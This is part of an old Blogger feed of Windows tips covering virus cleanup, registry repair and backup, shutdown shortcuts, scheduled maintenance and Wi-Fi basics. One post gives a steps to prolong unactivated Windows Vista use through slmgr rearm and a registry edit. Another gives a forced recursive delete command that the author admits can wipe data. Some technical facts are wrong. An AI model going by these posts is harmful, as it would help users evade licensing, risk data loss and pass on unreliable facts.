type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/4910951938656241488/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=4910951938656241488' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/4910951938656241488'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/4910951938656241488'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2008/08/boot-xp-faster.html' title='boot xp faster'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-6000375400598242953</id><published>2007-12-27T22:33:00.000-08:00</published><updated>2007-12-27T22:39:33.586-08:00</updated><title type='text'>remove autorun.inf virus without any antivirus</title><content type='html'>so i will tell u how to remove autorun.inf virus which is cause of opening&lt;br /&gt;of your drives in seprate window when u click on the drive name in my computer&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There is a trojan/virus (either the Win32/Pacex virus or the Win32/PSW.Agent.NDP trojan) that uses those two files. Here is how you can get rid of them:&lt;br /&gt;&lt;br /&gt;1) Open up Task Manager (Ctrl-Alt-Del)&lt;br /&gt;2) If wscript.exe is running, end it.&lt;br /&gt;3) If explorer.exe is running, end it.&lt;br /&gt;4) Open up “File | New Task (Run)” in the Task manager&lt;br /&gt;5) Run cmd&lt;br /&gt;6) Run the following command on all your drives by replacing c:\ with other drives in turn (note: if you have autorun.inf files that you think you need to backup, do so now):e.g-&gt;del d:\autorun.* /f/a/s/q and other drive names&lt;br /&gt;&lt;br /&gt;del c:\autorun.* /f /a /s /q&lt;br /&gt;be extra careful with this command it can delete your all data one by one from your hdd if execute wrongly so place your mouse on x position of cmd prompt windows and if it starts deleting your files close it&lt;br /&gt;&lt;br /&gt;7) Go to your Windows\System32 directory by typing cd c:\windows\system32&lt;br /&gt;8) Type dir /a avp*.*&lt;br /&gt;9) If you see any files names avp0.dll or avpo.exe or avp0.exe, use the following commands to delete each of them:&lt;br /&gt;&lt;br /&gt;attrib -r -s -h avpo.exe&lt;br /&gt;del avpo.exe&lt;br /&gt;&lt;br /&gt;10) Use the Task Manager’s Run command to fire up regedit&lt;br /&gt;11) Navigate to HKEY_CURRENT_USER \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run (as usual, take a backup of your registry before touching it!)&lt;br /&gt;12) If there are any entries for avpo.exe, delete them.&lt;br /&gt;13) Do a complete search of your registry for ntde1ect.com and delete any entries you find.&lt;br /&gt;14) Restart your computer.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-6000375400598242953?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/6000375400598242953/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=6000375400598242953' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/6000375400598242953'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/6000375400598242953'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/12/remove-autoruninf-virus-without-any.html' title='remove autorun.inf virus without any antivirus'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-3909351447467055169</id><published>2007-11-22T17:59:00.000-08:00</published><updated>2007-11-22T18:00:36.116-08:00</updated><title type='text'>Fixing Corrupt Registry</title><content type='html'>If your registry has gotten corrupted, and re-installing Windows95 over your existing&lt;br /&gt;version does not fix the problem,&lt;br /&gt;there is a hidden, read-only, system file on the root of your boot drive called&lt;br /&gt;SYSTEM.1ST.&lt;br /&gt;This is the initial system registry created when you first installed Windows95.&lt;br /&gt;To use this file:&lt;br /&gt;Go to your Windows directory&lt;br /&gt;Un-Attrib your current SYSTEM.DAT file (attrib -r -s -h system.dat)&lt;br /&gt;Copy your current SYSTEM.DAT to something like SYSTEM.BAD file (just in case)&lt;br /&gt;Move to your root directory&lt;br /&gt;Un-Attrib the SYSTEM.1ST file&lt;br /&gt;Copy SYSTEM.1ST to \WINDOWS\SYSTEM.DAT&lt;br /&gt;Re-start your system&lt;br /&gt;You will need to install your 32-bit apps and any other programs or changes that&lt;br /&gt;modified your system registry&lt;br /&gt;but you will not need to go through a new again. Your 16-bit apps should not need to be&lt;br /&gt;re-installed since they do&lt;br /&gt;not modify the registry. You will also retain your current desktop configuration&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-3909351447467055169?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/3909351447467055169/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=3909351447467055169' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/3909351447467055169'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/3909351447467055169'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/11/fixing-corrupt-registry.html' title='Fixing Corrupt Registry'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-8761413085631094579</id><published>2007-11-22T17:58:00.000-08:00</published><updated>2007-11-22T17:59:31.403-08:00</updated><title type='text'>Removing Open, Explore &amp; Find from Start</title><content type='html'>When you right click on the Start Button, you can select Open, Explore or Find.&lt;br /&gt;Open shows your Programs folder. Explore starts the Explorer and allows access to all&lt;br /&gt;drives.&lt;br /&gt;Find allows you to search and then run programs. In certain situations you might want to&lt;br /&gt;disable this feature.&lt;br /&gt;To remove them:&lt;br /&gt;Start Regedit&lt;br /&gt;Search for Directory&lt;br /&gt;This should bring you to Hkey_Classes_Root \ Directory&lt;br /&gt;Expand this section by clicking on the "+"&lt;br /&gt;Under shell is Find&lt;br /&gt;Delete Find&lt;br /&gt;Scroll down below Directory to Folder&lt;br /&gt;Expand this section under shell&lt;br /&gt;Delete Explore and Open&lt;br /&gt;Note: - When you remove Open, you cannot open any folders.&lt;br /&gt;If you need to undo any of the changes, you can download the registry settings before the&lt;br /&gt;changes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-8761413085631094579?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/8761413085631094579/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=8761413085631094579' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/8761413085631094579'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/8761413085631094579'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/11/removing-open-explore-find-from-start.html' title='Removing Open, Explore &amp; Find from Start'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-8257116028467905083</id><published>2007-11-22T17:56:00.000-08:00</published><updated>2007-11-22T17:58:06.670-08:00</updated><title type='text'>backup your registry</title><content type='html'>Introduction&lt;br /&gt;Registry Editor is an advanced tool for viewing and changing settings in your system&lt;br /&gt;registry, which contains information about how your computer runs. Almost the entire&lt;br /&gt;settings are stored in the registry. For example, when you resize an application window,&lt;br /&gt;the window position (x,y points) is stored in the registry so that the settings are retained&lt;br /&gt;permanently. This is just an example, there are much more data stored in the registry,&lt;br /&gt;right from your user account names and passwords (if configured to store in the registry).&lt;br /&gt;Although Registry Editor enables you to inspect and modify the&lt;br /&gt;registry, it's advisable to use Registry Editor only if the GUI does not provide the option&lt;br /&gt;you're looking for. Making incorrect changes in the registry can break your system. It's&lt;br /&gt;highly advisable to backup the registry before editing any portion of it.&lt;br /&gt;Backing up the XP Registry - Three methods&lt;br /&gt;Method 1: Using System Restore&lt;br /&gt;One way to backup the registry is to create a System Restore snapshot. System Restore&lt;br /&gt;returns your computer to a previous snapshot without losing recent personal information,&lt;br /&gt;such as documents, history lists, favorites, or e-mail. It monitors the computer and many&lt;br /&gt;applications for changes and creates restore points. You restore these snapshots when&lt;br /&gt;your configuration isn't working. This method is unreliable in case you want to rollback&lt;br /&gt;the registry changes made a longtime ago, in which case the System Restore might have&lt;br /&gt;purged that particular restore point - due to space constraints or due to a recent system&lt;br /&gt;restore point or even a Restore point corruption. Please remember, System Restore points&lt;br /&gt;get deleted for many reasons, making it unreliable, especially in the long run.&lt;br /&gt;For more help, see : Creating a System Restore point and Using&lt;br /&gt;System Restore to Undo Changes if Problems Occur&lt;br /&gt;Method 2: Backing up the selected branch of the registry by exporting&lt;br /&gt;(Reliable)&lt;br /&gt;This method is preferred if you're making changes to a specific key/area of the registry.&lt;br /&gt;To backup a selected branch/key in the registry, try this:&lt;br /&gt;Click Start, and then click Run.&lt;br /&gt;In the Open box, type regedit, and then click OK&lt;br /&gt;Locate and then click the key that contains the value that you want to edit&lt;br /&gt;On the File menu, click Export.&lt;br /&gt;In the Save in box, select a location where you want to save the Registration Entries&lt;br /&gt;(.reg)&lt;br /&gt;In the File name box, type a file name, and then click Save.&lt;br /&gt;(Backing up a selected branch/key of the registry)&lt;br /&gt;Now that you've created a Registry backup for that particular key. Save the&lt;br /&gt;REG file in a safer location in case you want to undo the registry changes made. You can&lt;br /&gt;restore the settings by just double-clicking the REG file. It automatically merges the&lt;br /&gt;contents to the Registry.&lt;br /&gt;Method 2 (a) : Export registry keys using a command-line (Console Registry Tool)&lt;br /&gt;You can use the Console Registry Tool for Windows (Reg.exe) to edit the registry. For&lt;br /&gt;help with the Reg.exe tool, type reg /? at the Command Prompt, and then click OK.&lt;br /&gt;Example: To export the key [HKEY_CURRENT_USER\Software\IOLO] and&lt;br /&gt;it's sub-keys, try this from Command Prompt:&lt;br /&gt;REG EXPORT HKCU\Software\IOLO C:\IOLO.REG&lt;br /&gt;To view the REG contents type notepad C:\iolo.reg in Start, Run dialog.&lt;br /&gt;Console Registry Tool is extremely handy for network admins and also for home users.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-8257116028467905083?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/8257116028467905083/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=8257116028467905083' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/8257116028467905083'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/8257116028467905083'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/11/backup-your-registry.html' title='backup your registry'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-2117147302753036915</id><published>2007-11-22T17:54:00.000-08:00</published><updated>2007-11-22T17:55:22.640-08:00</updated><title type='text'>shortcut for restart and shutdown</title><content type='html'>This tip will enable you to create buttons in your quick launch toolbar to quickly and&lt;br /&gt;easily shut down and/or restart your computer.&lt;br /&gt;Right click on your desktop, scroll to new..... shortcut&lt;br /&gt;In the location line, for shutdown type; shutdown -s -t 0 ie: shutdown(space)-s(space)-&lt;br /&gt;t(space)number zero&lt;br /&gt;Name the shortcut "Shut Down PC" or whatever u want&lt;br /&gt;The new shortcut is now sitting on your desktop, right click on it and go to properties,&lt;br /&gt;then click on "change icon". Click OK, then pick a suitable icon, there is a red "off&lt;br /&gt;button" icon available, then click apply and ok.&lt;br /&gt;Now drag the icon from your desktop into the quick launch toolbar, resize the toolbar so&lt;br /&gt;all the buttons are visible, then delete the shortcut from your desktop.&lt;br /&gt;To create a restart button the location line should read shutdown -r -t 0 name it restart&lt;br /&gt;pc and give it a suitable icon for restart.&lt;br /&gt;Now you can shut down or restart your pc in 1 mouse click without having to&lt;br /&gt;go through the startup menu.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-2117147302753036915?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/2117147302753036915/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=2117147302753036915' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/2117147302753036915'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/2117147302753036915'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/11/shortcut-for-restart-and-shutdown.html' title='shortcut for restart and shutdown'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-1607873337913300906</id><published>2007-11-22T17:51:00.000-08:00</published><updated>2007-11-22T17:53:37.061-08:00</updated><title type='text'>AUTOSHUTDOWN</title><content type='html'>Follow the steps outlined below to schedule automatic regular maintenance of your PC&lt;br /&gt;and then have it shutdown automatically.&lt;br /&gt;Scope:&lt;br /&gt;Windows XP Pro&lt;br /&gt;Installed on C:&lt;br /&gt;NTFS partition&lt;br /&gt;Login as Admin...&lt;br /&gt;1. Open notepad and paste in these lines&lt;br /&gt;cd\&lt;br /&gt;c:&lt;br /&gt;cd windows\system32&lt;br /&gt;defrag c: /f&lt;br /&gt;chkntfs c:&lt;br /&gt;Save the file as maint.bat in the root of C:&lt;br /&gt;2. Open notepad and paste in these lines&lt;br /&gt;[version]&lt;br /&gt;Signature= "$CHICAGO$"&lt;br /&gt;AdvancedINF= 2.5,"advpack.dll"&lt;br /&gt;; This is the install part.&lt;br /&gt;[DefaultInstall]&lt;br /&gt;RunPreSetupCommands=Tst.PreSetup&lt;br /&gt;RunPostSetupCommands=Tst.PostSetup&lt;br /&gt;[Tst.PreSetup]&lt;br /&gt;c:\maint.bat&lt;br /&gt;[Tst.PostSetup]&lt;br /&gt;c:\WINDOWS\SYSTEM32\TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN&lt;br /&gt;Save the file as maint.inf in the root of C:&lt;br /&gt;3. Open notepad and paste in this line&lt;br /&gt;c:\WINDOWS\System32\rundll32.exe advpack.dll,LaunchINFSectionEx&lt;br /&gt;c:\maint.inf,DefaultInstall,,32&lt;br /&gt;Save the file as shutdown.bat in the root of C:&lt;br /&gt;4. Go to Start/All Programs/Accessories/System Tools/Scheduled Tasks&lt;br /&gt;Add a Scheduled Task&lt;br /&gt;Browse to the C: drive and select shutdown.bat&lt;br /&gt;Select Weekly (change the interval to every 2 weeks)&lt;br /&gt;Set the time for late at night (something like 2am)&lt;br /&gt;5. You can set a 2nd scheduled reminder the night of the maintenance (use a text file with&lt;br /&gt;your reminder words) to remind you to leave your pc turned on. (Just turn off the&lt;br /&gt;monitor).&lt;br /&gt;That's it.&lt;br /&gt;What's going on?&lt;br /&gt;When the scheduled task starts it will execute shutdown.bat. Shutdown.bat will then&lt;br /&gt;execute maint.inf. When maint.inf starts it will execute this section first:&lt;br /&gt;[Tst.PreSetup]&lt;br /&gt;c:\maint.bat&lt;br /&gt;Maint.bat will then execute and defrag the drive. Maint.bat will then execute chkntfs c:&lt;br /&gt;(This will direct XP to run a chkdsk on the NTFS Partition (c:) on the next reboot and fix&lt;br /&gt;any errors automatically. Next, the maint.inf will execute this section:&lt;br /&gt;[Tst.PostSetup]&lt;br /&gt;c:\WINDOWS\SYSTEM32\TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN&lt;br /&gt;which will then shutdown XP and power off the box.&lt;br /&gt;*Note&lt;br /&gt;When this line chkntfs c: is executed in maint.bat XP will determine if it needs to run on&lt;br /&gt;next boot. If it doesn't you will receive a message that (C: is not dirty). If it needs to run&lt;br /&gt;then a message will appear in the dos window informing you that it will run on next boot.&lt;br /&gt;To visualize what I'm talking about temporarily change the maint.bat to look like this&lt;br /&gt;cd\&lt;br /&gt;c:&lt;br /&gt;cd windows\system32&lt;br /&gt;rem defrag c: /f&lt;br /&gt;chkntfs c:&lt;br /&gt;pause&lt;br /&gt;Execute maint.bat&lt;br /&gt;At any rate, this is just an FYI to clear up any concerns if you don't see chkntfs execute&lt;br /&gt;on the next boot.&lt;br /&gt;Lastly, when this line executes&lt;br /&gt;[Tst.PostSetup]&lt;br /&gt;c:\WINDOWS\SYSTEM32\TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN&lt;br /&gt;it takes approximately 10-15 seconds before the pc shuts down. So please be patient&lt;br /&gt;when you're testing this out. The delay won't matter as you'll be off in slumberland or&lt;br /&gt;whatever else we do at 2am :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-1607873337913300906?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/1607873337913300906/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=1607873337913300906' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/1607873337913300906'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/1607873337913300906'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/11/autoshutdown.html' title='AUTOSHUTDOWN'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-4362569174070476187</id><published>2007-11-22T17:49:00.000-08:00</published><updated>2007-11-22T17:50:42.019-08:00</updated><title type='text'>Removing Multiple Boot Screens:</title><content type='html'>If you are getting unwanted multiple boot screenThen Follow these Steps.1&gt; Right Click on My Computer2&gt;Select Properties3&gt;Select Advanced Tab4&gt;Select Settings In the Startup &amp;amp; Recovery Section(3rd grp)5&gt;Select the operating system which u want.6&gt;And Click OK.7&gt;Further again press the setting and click on Edit.8&gt;It will open boot.ini File.9&gt;Now u can delete those o/s which you don't want to be displayed.Note: For deleting operating systems from boot.ini file, keep it mind that you can'tdelete that o/s which is selected by default there. Beforemaking any changes make a copy of boot.ini file.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-4362569174070476187?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/4362569174070476187/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=4362569174070476187' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/4362569174070476187'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/4362569174070476187'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/11/removing-multiple-boot-screens.html' title='Removing Multiple Boot Screens:'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-973213455901215889</id><published>2007-11-22T17:45:00.000-08:00</published><updated>2007-11-22T17:46:47.117-08:00</updated><title type='text'>What Is Wi-Fi ??</title><content type='html'>Short for wireless fidelity and is meant to be used generically when referring of any type of 802.11 network, whether 802.11b, 802.11a, 802.11g, dual-band, etc. The term is created by the Wi-Fi Alliance, an organization made up of leading wireless equipment and software providers with the missions of certifying all 802.11-based products for interoperability and promoting the term Wi-Fi as the global brand name across all markets for any 802.11-based wireless LAN products.&lt;br /&gt;&lt;br /&gt;While all 802.11a/b/g products are called Wi-Fi, only products that have passed the Wi-Fi Alliance testing are allowed to refer to their products as "Wi-Fi Certified" (a registered trademark). Products that pass are required to carry an identifying seal on their packaging that states "Wi-Fi Certified" and indicates the radio frequency band used (2.5GHz for 802.11b or 11g, 5GHz for 802.11a) This group was formerly known as the Wireless Ethernet Compatibility Alliance (WECA) but changed its name in October 2002 to better reflect the Wi-Fi brand it wants to build.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Wi-Fi is the popular term for a high-frequency wireless local area network (WLAN). The Wi-Fi technology is rapidly gaining acceptance in many companies as an alternative to a wired LAN. It can also be installed for a home network. Wi-Fi is specified in the 802.11b specification from the Institute of Electrical and Electronics Engineers (IEEE) and is part of a series of wireless specifications together with 802.11, 802.11a, and 802.11g. All four standards use the Ethernet protocol and CSMA/CA (carrier sense multiple access with collision avoidance) for path sharing. The 802.11b (Wi-Fi) technology operates in the 2.4 GHz range offering data speeds up to 11 megabits per second. The modulation used in 802.11 has historically been phase-shift keying (PSK). The modulation method selected for 802.11b is known as complementary code keying (CCK), which allows higher data speeds and is less susceptible to multipath-propagation interference.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-973213455901215889?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/973213455901215889/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=973213455901215889' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/973213455901215889'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/973213455901215889'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/11/what-is-wi-fi.html' title='What Is Wi-Fi ??'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-3944647236305108067</id><published>2007-11-22T17:44:00.000-08:00</published><updated>2007-11-22T17:45:01.396-08:00</updated><title type='text'>What Is The Difference Between Gateway And A Wap</title><content type='html'>There are two types of Wi-Fi wireless base stations: a gateway and an access point. However, the distinctions between the two are not always clear, in part because the functions they perform can overlap. Even more confusing, many wired devices and other home Internet appliances also call themselves gateways.&lt;br /&gt;&lt;br /&gt;A wireless gateway is targeted toward a totally wireless home or small-office environment; an access point is targeted toward a more integrated combined Ethernet and wireless environment-usually - larger businesses, campuses, or corporations. Gateways and access points can also differ regarding their capacity to perform security functions, provide firewall protection, and manage network traffic and tasks.&lt;br /&gt;&lt;br /&gt;Gateways often include NAT (Network Address Translation) routing and DHCP (Dynamic Host Control Protocol) services. These create and provide the individual IP addresses all the wireless (and wired) clients need to function in a network and also enable a single Wi-Fi gateway to simultaneously provide Internet access to numerous users from a single shared Internet connection . Gateways may also include other applications and features such as encryption and security, VPN, firewall, and Voice over Internet Protocol (VoIP).&lt;br /&gt;&lt;br /&gt;An access point does not usually have NAT routing or DHCP; the wired routers in the system provide those network functions. Access points work as merely transparent bridges between wired networks and the various wireless users throughout a facility. Even though access points generally do not provide NAT or DHCP, they usually enable roaming (the ability to move from one access point to another without losing contact with your network), higher levels of security, and a high level of network control and management. Some gateways also provide these services. In fact, by toggling certain functions on and off, many wireless base stations can operate either as a gateway or as an access point.But a gateway is usually the only wireless base station in a small office or home,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-3944647236305108067?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/3944647236305108067/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=3944647236305108067' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/3944647236305108067'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/3944647236305108067'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/11/what-is-difference-between-gateway-and.html' title='What Is The Difference Between Gateway And A Wap'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-8523550629986521436</id><published>2007-11-22T17:37:00.000-08:00</published><updated>2007-11-22T17:43:34.640-08:00</updated><title type='text'></title><content type='html'>1)First make sure that you are in the Administrative Mode. Then click on the Start &amp;amp; access Command Promt by typing cmd in the Search Bar.&lt;br /&gt;&lt;br /&gt;2)Then type slmgr -rearm in the Command Prompt window &amp;amp; press Enter. After 45 seconds, a prompt will be displayed to Restart your computer. Just Restart, after that you will see that you have successfully extended your activation period to 30 days. This will work only 3 times, so you will get 120 days of Windows Vista without Activation...But we are going to change it.&lt;br /&gt;&lt;br /&gt;3)Open Registry Editor by typing regedit in the Search Bar.&lt;br /&gt;&lt;br /&gt;4)Navigate to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ Currentversion \ SL.&lt;br /&gt;&lt;br /&gt;5)On the right side search for a key called SkipRearm &amp;amp; modify its value to 1.&lt;br /&gt;&lt;br /&gt;6)Just close the Registry Editor.&lt;br /&gt;&lt;br /&gt;Now the default limit of 3 will be changed to 8 which means that you can use Winodws Vista for 360 Days without Activation.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-8523550629986521436?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/8523550629986521436/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=8523550629986521436' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/8523550629986521436'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/8523550629986521436'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2007/11/1first-make-sure-that-you-are-in.html' title=''/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-5893510168072880557</id><published>2007-11-05T06:02:00.000-08:00</published><updated>2007-11-05T06:07:37.251-08:00</updated><title type='text'>how to remove unwanted object at start up</title><content type='html'>u can do it in many ways  permanent and temporary depends upon your requirement&lt;br /&gt;1.hit win+r or simply click on start and click on run now type msconfig you see a window with some tabs go to start up tab and uncheck unwanted entries and press ok and restart the pc and you done&lt;br /&gt;2.go to start -&gt;program-&gt;startup and delete unwanted entries&lt;br /&gt;3.at start up press and hold shift button this is temporary&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 